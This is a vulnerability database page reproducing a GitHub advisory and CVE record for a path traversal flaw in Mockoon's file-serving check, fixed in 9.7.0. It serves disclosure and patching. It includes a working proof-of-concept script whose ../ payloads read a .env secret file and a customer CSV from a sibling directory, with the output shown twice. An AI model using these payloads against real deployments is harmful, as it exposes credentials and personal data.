Vulnerability-Lookup

GHSA-8WQC-V2Q8-VFF2

Vulnerability from github – Published: 2026-09-11 22:04 – Updated: 2026-09-11 22:04

Summary

@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Details

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh

Output:

[*] intended file (public/index.txt)    : public landing page
[+] escape -> ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741

../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/commons-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T22:04:32Z",
    "nvd_published_at": "2026-07-09T19:17:07Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA `FILE` response whose `filePath` embeds request data (e.g. `\"/srv/public/{{queryParam \u0027name\u0027}}\"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.\n\n## Details\n\n`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:\n\n```ts\nconst staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336\nconst parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled\nconst resolvedPath = resolvePath(parsedFilePath);\n\nif (isPathAbsolute) {\n  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355\n    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);\n  }\n} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362\n  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);\n}\n```\n\nWith `\"/srv/public/{{queryParam \u0027name\u0027}}\"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `\"/srv/public_backup/.env\".startsWith(\"/srv/public\")` is `true` \u2192 served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.\n\n`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).\n\n## PoC\n\n```sh\ncat \u003e /tmp/poc.sh \u003c\u003c\u0027POC\u0027\nset -e\nmkdir -p /work/public /work/public_backup \u0026\u0026 cd /work\necho \u0027public landing page\u0027 \u003e public/index.txt\necho \u0027AWS_SECRET_ACCESS_KEY=redacted\u0027 \u003e public_backup/.env\necho \u0027Michael, michael@example.com, 555-22-7741\u0027 \u003e public_backup/customers.csv\ncat \u003e env.json \u003c\u003c\u0027JSON\u0027\n{\"uuid\":\"00000000-0000-0000-0000-000000000001\",\"lastMigration\":33,\"name\":\"f\",\"port\":3000,\"hostname\":\"\",\"folders\":[],\n\"routes\":[{\"uuid\":\"11111111-0000-0000-0000-000000000001\",\"type\":\"http\",\"documentation\":\"\",\"method\":\"get\",\"endpoint\":\"download\",\n\"responses\":[{\"uuid\":\"22222222-0000-0000-0000-000000000001\",\"body\":\"\",\"latency\":0,\"statusCode\":200,\"label\":\"\",\"headers\":[],\n\"bodyType\":\"FILE\",\"filePath\":\"/work/public/{{queryParam \u0027name\u0027}}\",\"sendFileAsBody\":true,\"rules\":[],\"rulesOperator\":\"OR\",\n\"disableTemplating\":false,\"fallbackTo404\":false,\"default\":true,\"crudKey\":\"id\",\"callbacks\":[]}],\n\"responseMode\":null,\"streamingMode\":null,\"streamingInterval\":0}],\n\"rootChildren\":[{\"type\":\"route\",\"uuid\":\"11111111-0000-0000-0000-000000000001\"}],\n\"proxyMode\":false,\"proxyHost\":\"\",\"proxyRemovePrefix\":false,\n\"tlsOptions\":{\"enabled\":false,\"type\":\"CERT\",\"pfxPath\":\"\",\"certPath\":\"\",\"keyPath\":\"\",\"caPath\":\"\",\"passphrase\":\"\"},\n\"cors\":true,\"headers\":[],\"proxyReqHeaders\":[],\"proxyResHeaders\":[],\"data\":[]}\nJSON\nnpm i -g @mockoon/cli@9.6.1 \u003e/dev/null 2\u003e\u00261\nmockoon-cli start --data env.json --port 3000 \u003e/tmp/srv.log 2\u003e\u00261 \u0026\nsleep 6\nnode -e \u0027\nconst UA={headers:{\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\"}};\nconst g=async(q)=\u003e{const r=await fetch(\"http://127.0.0.1:3000/download?name=\"+encodeURIComponent(q),UA);return (await r.text()).trim();};\n(async()=\u003e{\n console.log(\"[*] intended file (public/index.txt)    :\",await g(\"index.txt\"));\n console.log(\"[+] escape -\u003e ../public_backup/.env     :\",await g(\"../public_backup/.env\"));\n console.log(\"[+] escape -\u003e ../public_backup/customers:\",await g(\"../public_backup/customers.csv\"));\n})();\u0027\nPOC\ndocker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh\n```\n\nOutput:\n\n```text\n[*] intended file (public/index.txt)    : public landing page\n[+] escape -\u003e ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted\n[+] escape -\u003e ../public_backup/customers: Michael, michael@example.com, 555-22-7741\n```\n\n`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`",
  "id": "GHSA-8wqc-v2q8-vff2",
  "modified": "2026-09-11T22:04:32Z",
  "published": "2026-09-11T22:04:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/pull/2255"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mockoon/mockoon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
    },
    {
      "type": "WEB",
      "url": "https://mockoon.com/releases/9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)"
}

CVE-2026-59149 (GCVE-0-2026-59149)

Vulnerability from cvelistv5 – Published: 2026-07-09 18:28 – Updated: 2026-07-09 18:41

Title

Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Summary

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-09 18:39 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/mockoon/mockoon/security/advis…	x_refsource_CONFIRM
https://github.com/mockoon/mockoon/pull/2255	x_refsource_MISC
https://github.com/mockoon/mockoon/commit/b42bdfb…	x_refsource_MISC
https://github.com/mockoon/mockoon/releases/tag/v9.7.0	x_refsource_MISC
https://mockoon.com/releases/9.7.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
mockoon	mockoon	Affected: < 9.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59149",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-09T18:39:47.514756Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-09T18:41:45.833Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mockoon",
          "vendor": "mockoon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-23",
              "description": "CWE-23: Relative Path Traversal",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-09T18:28:35.693Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2"
        },
        {
          "name": "https://github.com/mockoon/mockoon/pull/2255",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mockoon/mockoon/pull/2255"
        },
        {
          "name": "https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585"
        },
        {
          "name": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
        },
        {
          "name": "https://mockoon.com/releases/9.7.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://mockoon.com/releases/9.7.0"
        }
      ],
      "source": {
        "advisory": "GHSA-8wqc-v2q8-vff2",
        "discovery": "UNKNOWN"
      },
      "title": "Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59149",
    "datePublished": "2026-07-09T18:28:35.693Z",
    "dateReserved": "2026-07-02T16:50:27.886Z",
    "dateUpdated": "2026-07-09T18:41:45.833Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-8WQC-V2Q8-VFF2

Summary

Details

PoC

CVE-2026-59149 (GCVE-0-2026-59149)

Tags

Sightings

Nomenclature

Related by attack behaviour